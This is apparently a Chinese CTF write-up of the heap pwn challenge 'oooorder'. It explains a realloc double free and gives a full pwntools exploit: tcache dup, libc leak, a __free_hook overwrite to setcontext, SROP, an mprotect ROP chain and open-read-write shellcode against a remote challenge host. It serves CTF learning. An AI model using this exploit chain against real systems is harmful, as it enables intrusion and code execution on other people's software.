【pwn】oooorder

端午节看了dasctf的一个pwn题,学了一个新的姿势。
例行检查
【pwn】oooorder_第1张图片
分析程序
这是个堆的菜单题,并且用了seccomp进行保护,禁用了execve。这时候一般想法是orw直接将flag写出来。但是堆的题禁用了这个还是比较麻烦的,因为堆的题无法对栈进行控制就不能进行rop,这个先放一放,先进行堆利用。
漏洞是在edit中,其中使用的了realloc,当size为0的时候,realloc会free掉这个块,执行两次可以造成tcache dup,这里可以泄露堆地址,第一次任意地址分配可以分配到一个unsortbin大小的chunk,这时就有两个指针指向这个堆块,free7次这个大小的堆块再free这个堆块会进入unsortbin,这时候show可以泄露libc,如果没禁execve,这时候再来一次任意地址分配可以分配到malloc_hook或者free_hook,修改为onegadget就完事了。
但是开了沙箱就要想别的方法了,找了一圈发现了EX师傅的方法,heaporw,利用setcontex函数,这个函数有一段可以控制大部分寄存器,进而orw。

.text:00000000000520A5                 mov     rsp, [rdi+0A0h]
.text:00000000000520AC                 mov     rbx, [rdi+80h]
.text:00000000000520B3                 mov     rbp, [rdi+78h]
.text:00000000000520B7                 mov     r12, [rdi+48h]
.text:00000000000520BB                 mov     r13, [rdi+50h]
.text:00000000000520BF                 mov     r14, [rdi+58h]
.text:00000000000520C3                 mov     r15, [rdi+60h]
.text:00000000000520C7                 mov     rcx, [rdi+0A8h]
.text:00000000000520CE                 push    rcx
.text:00000000000520CF                 mov     rsi, [rdi+70h]
.text:00000000000520D3                 mov     rdx, [rdi+88h]
.text:00000000000520DA                 mov     rcx, [rdi+98h]
.text:00000000000520E1                 mov     r8, [rdi+28h]
.text:00000000000520E5                 mov     r9, [rdi+30h]
.text:00000000000520E9                 mov     rdi, [rdi+68h]
.text:00000000000520E9 ; } // starts at 52070
.text:00000000000520ED ; __unwind {
.text:00000000000520ED                 xor     eax, eax
.text:00000000000520EF                 retn

接着上面,在分配到free_hook后就可以将free_hook修改为setcontex了,然后在堆中设置好各个寄存器的值。先调用read,将mprotect的rop写入,然后修改内存的权限为rwx,写入orw的shellcode,jmp rsp执行shellcode。就完成了。exp在控制了free_hook后的工作可以当成模板直接使用。

from pwn import *

io=remote('183.129.189.60',10028)
libc=ELF('./libc-2.27.so')
context.arch = 'amd64'

def add(size,data):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('the order?')
    io.sendline(str(size))
    io.recvuntil('notes:')
    io.send(data)

def show():
    io.recvuntil('choice :')
    io.sendline('3')

def free(idx):
    io.recvuntil('choice :')
    io.sendline('4')
    io.recvuntil('of order:')
    io.sendline(str(idx))

def edit(idx,data):
    io.recvuntil('choice :')
    io.sendline('2')
    io.recvuntil('of order:')
    io.sendline(str(idx))
    io.send(data)

add(0x100,'/bin/sh\x00')#0
add(0x100,p64(0)*0x10)#1
add(0,'')#2
add(8,'c')#3

add(0,'')#4
add(8,'d')#5

[add(0x100,'a') for i in range(7)]
[free(i+6) for i in range(7)]


[edit(2,'') for i in range (5)]
show()

io.recvuntil('[2]:')
heap=u64(io.recv(6).ljust(8,'\x00'))
print(hex(heap))
free(3)
add(8,p64(heap-0x130))#3
add(8,'3')
free(1)
show()

io.recvuntil('[6]:')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']

edit(4,'')
edit(4,'')
free(5)

add(8,p64(free_hook))#1
add(8,p64(setcontext+53))#edit_free_hook  5

syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
pl=str(frame)

edit(0,pl)
free(0)

layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
io.sendline(flat(layout) + shellcode)
io.interactive()

除了这种方法以外,好像还有一种通过io进行栈上rop的思路,这个坑以后再填。

你可能感兴趣的:(pwn)